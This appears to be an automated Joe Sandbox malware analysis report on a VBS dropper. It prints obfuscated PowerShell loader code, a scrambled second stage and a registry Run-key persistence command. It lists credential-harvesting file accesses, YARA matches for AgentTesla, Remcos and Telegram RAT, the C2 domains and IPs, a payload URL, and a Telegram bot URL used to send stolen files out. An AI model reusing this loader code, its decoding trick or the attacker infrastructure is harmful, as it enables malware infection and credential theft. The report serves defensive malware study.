Le'SpAma6hs8mo9No8Da4Ha9Sa6ve9Po6stCUn9KoCNe5EnBSq5Pi9St0lo8Rn7Ch8Tw9Ud8BrCHy8fo6UnCfu9roCPh5PrBPa6Tm8Fe0Mi8Or4bl8Pr9Ra8Fa0Pr8Us1GlCLy9	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function HTB { param([String]$HS); $Bytes = New-Object byte[] ($HS.Length / 2); For($i=0; $i -lt $HS.Length; $i+=2){ $Bytes[$i/2] = [convert]::ToByte($HS.Substring($i, 2), 16); $Bytes[$i/2] = ($Bytes[$i/2] -bxor 229); } [String][System.Text.Encoding]::ASCII.GetString($bytes);}$Hdlc0=HTB 'B69C96918088CB818989';$Hdlc1=HTB 'A88C86978A968A8391CBB28C8BD6D7CBB08B96848380AB84918C9380A880918D8A8196';$Hdlc2=HTB 'A28091B5978A86A4818197809696';$Hdlc3=HTB 'B69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083';$Hdlc4=HTB '9691978C8B82';$Hdlc5=HTB 'A28091A88A81908980AD848B818980';$Hdlc6=HTB 'B7B1B69580868C8489AB848880C9C5AD8C8180A79CB68C82C9C5B59087898C86';$Hdlc7=HTB 'B7908B918C8880C9C5A8848B84828081';$Hdlc8=HTB 'B78083898086918081A180898082849180';$Hdlc9=HTB 'AC8BA880888A979CA88A81908980';$Styrketrne0=HTB 'A89CA180898082849180B19C9580';$Styrketrne1=HTB 'A689849696C9C5B59087898C86C9C5B68084898081C9C5A48B968CA689849696C9C5A490918AA689849696';$Styrketrne2=HTB 'AC8B938A8E80';$Styrketrne3=HTB 'B59087898C86C9C5AD8C8180A79CB68C82C9C5AB8092B6898A91C9C5B38C9791908489';$Styrketrne4=HTB 'B38C9791908489A489898A86';$Styrketrne5=HTB '8B91818989';$Styrketrne6=HTB 'AB91B5978A91808691B38C9791908489A880888A979C';$Styrketrne7=HTB 'ACA0BD';$Styrketrne8=HTB 'B9';function fkp {Param ($v_m, $v_p) ;$Leucifer0 =HTB 'C193908B88C5D8C5CDBEA49595A18A88848C8BB8DFDFA6909797808B91A18A88848C8BCBA28091A49696808887898C8096CDCCC599C5B28D809780C8AA878F808691C59EC5C1BACBA2898A878489A49696808887899CA684868D80C5C8A48B81C5C1BACBA98A8684918C8A8BCBB695898C91CDC1B6919C978E8091978B80DDCCBEC8D4B8CBA09490848996CDC1AD818986D5CCC598CCCBA28091B19C9580CDC1AD818986D4CC';&($Styrketrne7) $Leucifer0;$Leucifer5 = HTB 'C1938497BA829584C5D8C5C193908B88CBA28091A880918D8A81CDC1AD818986D7C9C5BEB19C9580BEB8B8C5A5CDC1AD818986D6C9C5C1AD818986D1CCCC';&($Styrketrne7) $Leucifer5;$Leucifer1 = HTB '97809190978BC5C1938497BA829584CBAC8B938A8E80CDC18B908989C9C5A5CDBEB69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083B8CDAB8092C8AA878F808691C5B69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083CDCDAB8092C8AA878F808691C5AC8B91B59197CCC9C5CDC193908B88CBA28091A880918D8A81CDC1AD818986D0CCCCCBAC8B938A8E80CDC18B908989C9C5A5CDC193BA88CCCCCCCCC9C5C193BA95CCCC';&($Styrketrne7) $Leucifer1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,[Parameter(Position = 1)] [Type] $vrt = [Void]);$Leucifer2 = HTB 'C1B3B1A7C5D8C5BEA49595A18A88848C8BB8DFDFA6909797808B91A18A88848C8BCBA180838C8B80A19C8B84888C86A49696808887899CCDCDAB8092C8AA878F808691C5B69C96918088CBB78083898086918C8A8BCBA49696808887899CAB848880CDC1AD818986DDCCCCC9C5BEB69C96918088CBB78083898086918C8A8BCBA0888C91CBA49696808887899CA7908C89818097A48686809696B8DFDFB7908BCCCBA180838C8B80A19C8B84888C86A88A81908980CDC1AD818986DCC9C5C	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Bichloride.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Damspils = """ReFGruKonNacSktDoiKloUtnHe GrHshTPuBMi Mi{G ud ho Pr HvpflaRurNoaVamSo(st[DeSBotOrrMoiAnnBogPh]Di`$HiHStSBl)Ro;Pa Ni vn Ra Sa`$InBvoyUntAlesisBe Sp=Af UnNBreGrwKr-ByOCabOmjcyeUncBytOr PrbGlyFotPreSt[Be]Av Fa(fo`$AlHDeSSt.MiLQueRinPegBatHahGe Te/Un Ev2Me)Ta;Sm Op Fo St ChFmooKurUn(Sc`$HaiDr=Di0Pr;Is Ly`$HaiPo Sn-OvlKitCo Dy`$FlHSpSpe.GyLSkeOknbrgCatSahAl;Ko Sp`$DeiTr+Da=sk2Ak)La{Ma Sp Wh Ko Gu Va St Ba Pt`$PrBUdySttAueBesUr[Hy`$OdiSt/Kf2Ar]Re Ka=De Ku[AbcFooTonPavToeUdrCotFu]je:Bo:SpTstoSkBGlyGrtPreUr(Su`$UiHDeSNo.caSpruCobOvsPotwerHyiLinTrgCu(St`$MaiMa,Le Di2My)In,Pa Pa1Az6No)Ju;Co Ba Rn`$GaBOpyTitSteBosDi[Au`$EliAd/As2Ma]Pa Ve=Tr Sh(Ci`$SpBAayTetOxeBosIn[Ra`$MaiOm/Ba2Am]Bo Do-TibDixGloMorPa En2Fr0ba1Om)He;Au Vg Re Mr as}Mi Mi[SuSKktTurspiFanMagOv]En[GrSInyHysCltCaeStmIn.StTPoeUdxUntKo.reEAfnThcUnoTrdariUnnRegTa]Be:Ka:OvASlSTrCPaIExIBr.DiGSaehatMiSOutAlrSpiTanSugBi(me`$ElbInyEttIneMasSu)Ci;By}Mi`$InRHaeGrcOvaGilSycTeiOptRhrRiaHitdieMe0Pi=LiHomTExBOv Sn'Ho9ThASnBVi0VaBAaARaBCiDplACoCGyAVo4OpEIn7WeAKoDPeAEx5OpAFr5Cu'bi;Ge`$EmRAfeBycDiaEmlUncheiAptrirExaHetsteBe1lb=GuHDaTGeBSk Le'Di8Rg4LyApr0InAViASpBReBBoACo6SiBSlAKoAFi6ScABrFMiBLiDSiEMo7Be9laEUnASt0BiAKo7WrFCaAUnFStBHoECh7Ra9ChCPaABe7SkBadAPaATr8HuAKeFskADoCkn8Sk7MaAPr8RoBCrDFoAPe0MeBLaFScAJuCNo8Te4BoAReCSpBDiDdeAun1BiATi6TuAWeDHeBIlARi'Im;Ga`$HoRIseMicCaaChlPocFoiTrtberDeaFltFoeXx2ma=RuHMeTOvBNo Pi'Ru8LyERaAObCMyBAnDUn9In9AnBIdBbaAHy6WiAspAUn8Pa8JoABiDFlASvDFaBDaBCiAbiCHaBjaAPrBanAFo'Ju;Sa`$MtRThehicHyaUnlCycSeiDetNorSnaEbtTeeDy3Ge=urHMaTPhBBu Ex'Si9AdABeBNa0OlBMiASkBBoDBrAMuCUnARu4HoECh7Be9SyBFoBusCOpAUn7FaBUnDSpAOp0haAAn4KiAReCSrESm7Ga8Ro0DoAGl7TiBfoDGlASiCYoBSuBDeAJo6FlBAi9Af9MaAKiASpCSaBFjBGaBFrFBnAsw0OvAWeACuAteCToBLaAOuEFo7Sa8Se1InATi8SpAEc7DeAFoDSaAOp5FoAAlCGi9CyBFiAReCKlADrFFe'Ko;Be`$ToRMaePrcNoaInlRecEtiMatInrWiaKotAleEx4Ga=FoHTiTBaBWe Un'OvBTrAHeBinDIlBPyBFaAEv0KoABe7AmAStEUn'Fo;Co`$SkRSeeVacobabrlincRyiDetGrrWhaChtFoeRa5Ba=ccHSpTAnBPr Au'In8VgEFnAPaCYpBMoDOm8Kl4RaAMu6DeACoDHuBHiCSnAHy5LoAGeCUd8Th1TrAFl8InAEn7TaAUnDBuAel5AfAKaCRe'Un;Af`$GaRDeeBocmyaMelMacKviOptMirHeaTrtPaeSa6Pl=HeHOmTKiBUl Ea'Ku9svBUb9LiDGe9NeASuBFe9foANaClaAInAHeAFy0FoAKh8CaATr5un8To7FlAEn8KoAHe4DoABiCdiEBl5HiEOi9Ha8Po1MaAfl0alATaDDiACiCAf8GiBSpBCa0ra9BuADuAAe0UdACaESjETr5GoEHa9Op9Ma9StBexCWoAStBKrARn5BeAFl0AmAarAAf'Uk;Jo`$TeRBaeRecNaaHolDrcJeiOmtImrOuaNotSoeKo7Re=SuHXyTRuBTa Tr'na9LiBFoBScCHuADe7AaBGrDJuACa0foAGi4AnAReCGlEYo5MaEKa9Or8Mi4deAIn8MoASj7EuAth8FuAFoEimAMeCUnABeDGi'Ty;do`$TeRFleVacInaMelUocPuiOvtWirLeaKntMneAn8St=TiHPaTPaBSt St'Tn9LiBChANoCLyAJoFLyAAs5DiAFaCViADmABoBCaDOpALvCGaAHiDPr8HaDVaAPoCOvAPo5TaANoCcrAPrEScACi8MeBApDnoAKaCLy'St;Un`$SmRFieSicSeaSelDicPaivatRarTeaPotReeDr9Ov=MeHDoTSiBSt ca'Ta8os0GlANo7Ro8Ch4PeATrCreAOp4BeASt6aaBAaBIlBAl0En8st4HoAFe6YeARaDlsBExCUnAUn5PrAPoCde'Fo;Ro`$StDnoeGomFgaSugcynKieretEviAmzPaaLmbBllUdePl0Co=PaHAlTAgBKi ma'Ba8Dr4noBSy0Sa8ToDHuAFrCTeAT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 10_2_0751D164 CreateNamedPipeW,

10_2_0751D164

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match

File source: 0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected AgentTesla

Source: Yara match

File source: 0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Remcos RAT

Source: Yara match

File source: 00000008.00000002.7449931137.000000001F1C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match

File source: 0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match

File source: 0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected AgentTesla

Source: Yara match

File source: 0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Remcos RAT

Source: Yara match

File source: 00000008.00000002.7449931137.000000001F1C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Web Service	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	221 Scripting	11 Registry Run Keys / Startup Folder	12 Process Injection	11 Deobfuscate/Decode Files or Information	11 Input Capture	116 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	21 Command and Scripting Interpreter	Logon Script (Windows)	11 Registry Run Keys / Startup Folder	221 Scripting	1 Credentials in Registry	22 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	11 Encrypted Channel	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	11 Input Capture	Scheduled Transfer	1 Non-Standard Port	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	Data Transfer Size Limits	3 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	241 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	114 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	12 Process Injection	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
IMG_2022028022-0120.vbs	0%	Virustotal		Browse
IMG_2022028022-0120.vbs	0%	ReversingLabs

Source	Detection	Scanner	Link
myfrontmannyfive.ddns.net	1%	Virustotal	Browse
backupfrontmanny.duckdns.org	3%	Virustotal	Browse
sinopbisikletkiralama.com	9%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://sinopbisikletkiralama.com/Bichloride.vbs	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
myfrontmannyfive.ddns.net	37.0.14.209	true	true	1%, Virustotal, Browse	unknown
backupfrontmanny.duckdns.org	84.38.134.104	true	true	3%, Virustotal, Browse	unknown
sinopbisikletkiralama.com	172.67.169.218	true	false	9%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	false		high
f65kcg.am.files.1drv.com	unknown	unknown	false		high
onedrive.live.com	unknown	unknown	false		high
f64nqg.am.files.1drv.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sinopbisikletkiralama.com/Bichloride.vbs	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
37.0.14.209	myfrontmannyfive.ddns.net	Netherlands	198301	WKD-ASIE	true
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
84.38.134.104	backupfrontmanny.duckdns.org	Latvia	52048	DATACLUBLV	true
172.67.169.218	sinopbisikletkiralama.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	755530
Start date and time:	2022-11-28 20:42:33 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	IMG_2022028022-0120.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winVBS@16/7@22/4
EGA Information:	Successful, ratio: 75%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 77 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .vbs Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, backgroundTaskHost.exe, MoUsoCoreWorker.exe, svchost.exe, UsoClient.exe
Excluded IPs from analysis (whitelisted): 13.107.42.13, 13.107.42.12
Excluded domains from analysis (whitelisted): odc-web-brs.onedrive.akadns.net, client.wns.windows.com, odc-web-geo.onedrive.akadns.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, wdcp.microsoft.com, l-0004.l-msedge.net, wdcpalt.microsoft.com, odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net, l-0003.l-msedge.net, login.live.com, odc-am-files-geo.onedrive.akadns.net, am-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, odc-am-files-brs.onedrive.akadns.net
Execution Graph export aborted for target powershell.exe, PID 6472 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:45:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Hugi %tullio% -w 1 $Unrejoicing41=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Expansiveness;%tullio% ($Unrejoicing41)
